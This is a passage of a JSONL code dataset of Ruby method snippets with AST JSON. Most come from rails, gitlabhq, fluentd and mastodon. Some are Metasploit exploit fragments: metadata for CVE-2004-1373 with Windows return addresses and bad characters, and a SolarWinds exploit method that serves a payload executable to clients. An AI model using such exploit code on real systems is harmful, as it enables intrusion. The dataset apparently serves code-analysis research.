\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]},{\"type\":\"str\",\"children\":[\"mandragore[at]gmail.com\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2004-1373\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"12585\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"12096\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[250]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000:&?%# \\n\\r/+\\u000b\\\\\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows NT SP5/SP6a English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2003441561]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 English ALL\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1963076292]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP0/SP1 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1906979501]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2003 Server English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2147223096]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2004-12-23\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8000]}]}]}]}]}]}","id":"57d5b114-fbf7-42e5-9cc5-ac05fa2930b5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeable_field.rb","start_line":27,"raw_source":"def showback_dimension\n    metric_index = VIRTUAL_COL_USES.invert[metric] || metric\n    {'cpu_usagemhz_rate_average'         => ['cpu_usagemhz_rate_average', '', 'duration'],\n     \"v_derived_cpu_total_cores_used\"    => ['v_derived_cpu_total_cores_used', 'THz', 'duration'],\n     \"derived_vm_numvcpus\"               => ['derived_vm_numvcpus', '', 'duration'],\n     \"derived_memory_used\"               => ['derived_memory_used', 'Gi', 'duration'],\n     \"derived_memory_available\"          => ['derived_memory_available', 'B', 'duration'],\n     \"metering_used_hours\"               => ['metering_used_hours', '', 'quantity'],\n     \"net_usage_rate_average\"            => ['net_usage_rate_average', '', 'duration'],\n     \"disk_usage_rate_average\"           => ['disk_usage_rate_average', '', 'duration'],\n     \"fixed_compute_1\"                   => ['fixed_compute_1', '', 'occurrence'],\n     \"fixed_compute_2\"                   => ['fixed_compute_2', '', 'occurrence'],\n     \"derived_vm_allocated_disk_storage\" => ['derived_vm_allocated_disk_storage', 'Gi', 'duration'],\n     \"derived_vm_used_disk_storage\"      => ['derived_vm_used_disk_storage', 'Gi', 'duration'],\n     \"fixed_storage_1\"                   => ['fixed_storage_1', '', 'occurrence'],\n     \"fixed_storage_2\"                   => ['fixed_storage_2', '', 'occurrence']}[metric_index]\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"showback_dimension\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metric_index\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VIRTUAL_COL_USES\"]},\"invert\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"metric\"]}]},{\"type\":\"send\",\"children\":[null,\"metric\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cpu_usagemhz_rate_average\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"cpu_usagemhz_rate_average\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"v_derived_cpu_total_cores_used\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"v_derived_cpu_total_cores_used\"]},{\"type\":\"str\",\"children\":[\"THz\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_vm_numvcpus\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_vm_numvcpus\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_memory_used\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_memory_used\"]},{\"type\":\"str\",\"children\":[\"Gi\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_memory_available\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_memory_available\"]},{\"type\":\"str\",\"children\":[\"B\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"metering_used_hours\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"metering_used_hours\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"quantity\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"net_usage_rate_average\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"net_usage_rate_average\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"disk_usage_rate_average\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"disk_usage_rate_average\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fixed_compute_1\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"fixed_compute_1\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"occurrence\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fixed_compute_2\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"fixed_compute_2\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"occurrence\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_vm_allocated_disk_storage\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_vm_allocated_disk_storage\"]},{\"type\":\"str\",\"children\":[\"Gi\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_vm_used_disk_storage\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"derived_vm_used_disk_storage\"]},{\"type\":\"str\",\"children\":[\"Gi\"]},{\"type\":\"str\",\"children\":[\"duration\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fixed_storage_1\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"fixed_storage_1\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"occurrence\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fixed_storage_2\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"fixed_storage_2\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"occurrence\"]}]}]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"metric_index\"]}]}]}]}","id":"2686884f-660b-442b-ae0c-19b36613201b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/integration_test.rb","start_line":14,"raw_source":"def test_to_param_should_return_string\n    assert_kind_of String, Client.first.to_param\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_param_should_return_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"first\"]},\"to_param\"]}]}]}","id":"3ea0062e-e94a-42f6-8c74-7bbadb38ec50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/compare.rb","start_line":113,"raw_source":"def modified_paths\n    paths = Set.new\n    diffs.diff_files.each do |diff|\n      paths.add diff.old_path\n      paths.add diff.new_path\n    end\n    paths.to_a\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"modified_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diffs\"]},\"diff_files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"old_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"new_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"to_a\"]}]}]}","id":"a77556e7-e8a1-4f40-9b91-2cccca9899d3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_handling.rb","start_line":301,"raw_source":"def release_connection\n      connection_pool.release_connection\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"release_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection_pool\"]},\"release_connection\"]}]}","id":"c0a42a63-a5aa-4d0d-b943-cdb3ccdd94a9"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/type_converter.rb","start_line":48,"raw_source":"def configure(conf)\n        super\n\n        @type_converters = nil\n        @type_converters = parse_types_parameter unless @types.nil?\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@type_converters\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@types\"]},\"nil?\"]},null,{\"type\":\"ivasgn\",\"children\":[\"@type_converters\",{\"type\":\"send\",\"children\":[null,\"parse_types_parameter\"]}]}]}]}]}","id":"c30659cb-e09c-4bea-b2b5-204ff63885fb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/drop_pipelines_and_disable_schedules_for_user_service.rb","start_line":51,"raw_source":"def disable_schedules_for_user(user)\n      Ci::PipelineSchedule.owned_by(user).active.each_batch do |relation|\n        relation.update_all(active: false)\n      end\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_schedules_for_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"PipelineSchedule\"]},\"owned_by\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"active\"]},\"each_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"7f7ea726-cde2-47f6-8a6c-dc0a4020999f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/extract.rb","start_line":67,"raw_source":"def initialize\n        super\n        @_extract_enabled = false\n        @_extract_tag_key = nil\n        @_extract_keep_tag_key = nil\n        @_extract_time_key = nil\n        @_extract_keep_time_key = nil\n        @_extract_time_parser = nil\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_extract_enabled\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_extract_tag_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_extract_keep_tag_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_extract_time_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_extract_keep_time_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_extract_time_parser\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"2257339f-7541-4e8c-a3a7-043def56b08a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb","start_line":110,"raw_source":"def on_client_connect(cli)\n    print_status(\"#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)\")\n    cli.put(@native_payload)\n    service.close_client(cli)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending executable (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@native_payload\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"put\",{\"type\":\"ivar\",\"children\":[\"@native_payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service\"]},\"close_client\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"701c280f-642e-4b0f-b2c5-522aed9b4316"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20241213130230_create_fasp_subscriptions.rb","start_line":4,"raw_source":"def change\n    create_table :fasp_subscriptions do |t|\n      t.string :category, null: false\n      t.string :subscription_type, null: false\n      t.integer :max_batch_size, null: false\n      t.integer :threshold_timeframe\n      t.integer :threshold_shares\n      t.integer :threshold_likes\n      t.integer :threshold_replies\n      t.references :fasp_provider, null: false, foreign_key: true\n\n      t.timestamps\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"fasp_subscriptions\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"subscription_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"max_batch_size\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"threshold_timeframe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"threshold_shares\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"threshold_likes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"threshold_replies\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"fasp_provider\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"bbcb1740-d5c8-4645-a4ea-e62b2db71903"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/internal_events_spec.rb","start_line":77,"raw_source":"def expect_redis_sum_tracking(value)\n    redis_arguments.each do |redis_argument|\n      expect(redis).to have_received(:incrbyfloat).with(a_string_including(redis_argument), value).once\n    end\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_redis_sum_tracking\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis_arguments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis_argument\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"redis\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"have_received\",{\"type\":\"sym\",\"children\":[\"incrbyfloat\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"a_string_including\",{\"type\":\"lvar\",\"children\":[\"redis_argument\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"once\"]}]}]}]}","id":"6715f0fb-c475-4415-a94e-fea7c40f5f83"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/broadcasts/welcome_notification/generator.rb","start_line":189,"raw_source":"def started_a_discussion\n        @started_a_discussion ||= Article.user_published_with(user.id, \"discuss\").any?\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"started_a_discussion\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@started_a_discussion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Article\"]},\"user_published_with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"discuss\"]}]},\"any?\"]}]}]}","id":"233d250f-5924-4c59-9206-791ff0f47280"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/vim_soap.rb","start_line":342,"raw_source":"def vim_get_dcs\n    soap_data = vim_soap_envelope(vim_soap_retrieve_service_content)\n    res = vim_send_soap_request(soap_data)\n    if res.class == Hash\n      @server_objects.merge!(res['RetrieveServiceContentResponse']['returnval'])\n    else\n      return res\n    end\n\n    soap_data = vim_soap_envelope(vim_soap_retrieve_properties('content', 'ServiceInstance', 'ServiceInstance'))\n    res = vim_send_soap_request(soap_data)\n    if res.class == Hash\n      hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']\n      hash.delete('xsi:type')\n      @server_objects.merge!(hash)\n    else\n      return res\n    end\n\n    soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', @server_objects['rootFolder']))\n    res = vim_send_soap_request(soap_data)\n    if res.class == Hash\n      tmp_dcs = []\n      tmp_dcs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']\n      tmp_dcs.flatten!\n      tmp_dcs.each{|dc| @dcs << { 'name' => vim_get_dc_name(dc) , 'ref' => dc}}\n    else\n      return res\n    end\n  end","complexity_score":57.9,"ast_json":"{\"type\":\"def\",\"children\":[\"vim_get_dcs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"soap_data\",{\"type\":\"send\",\"children\":[null,\"vim_soap_envelope\",{\"type\":\"send\",\"children\":[null,\"vim_soap_retrieve_service_content\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"vim_send_soap_request\",{\"type\":\"lvar\",\"children\":[\"soap_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_objects\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetrieveServiceContentResponse\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"returnval\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"soap_data\",{\"type\":\"send\",\"children\":[null,\"vim_soap_envelope\",{\"type\":\"send\",\"children\":[null,\"vim_soap_retrieve_properties\",{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"ServiceInstance\"]},{\"type\":\"str\",\"children\":[\"ServiceInstance\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"vim_send_soap_request\",{\"type\":\"lvar\",\"children\":[\"soap_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetrievePropertiesResponse\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"returnval\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"propSet\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"val\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"delete\",{\"type\":\"str\",\"children\":[\"xsi:type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_objects\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"soap_data\",{\"type\":\"send\",\"children\":[null,\"vim_soap_envelope\",{\"type\":\"send\",\"children\":[null,\"vim_soap_retrieve_properties\",{\"type\":\"str\",\"children\":[\"childEntity\"]},{\"type\":\"str\",\"children\":[\"Folder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_objects\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rootFolder\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"vim_send_soap_request\",{\"type\":\"lvar\",\"children\":[\"soap_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp_dcs\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp_dcs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetrievePropertiesResponse\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"returnval\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"propSet\"]}]},\"[]\",{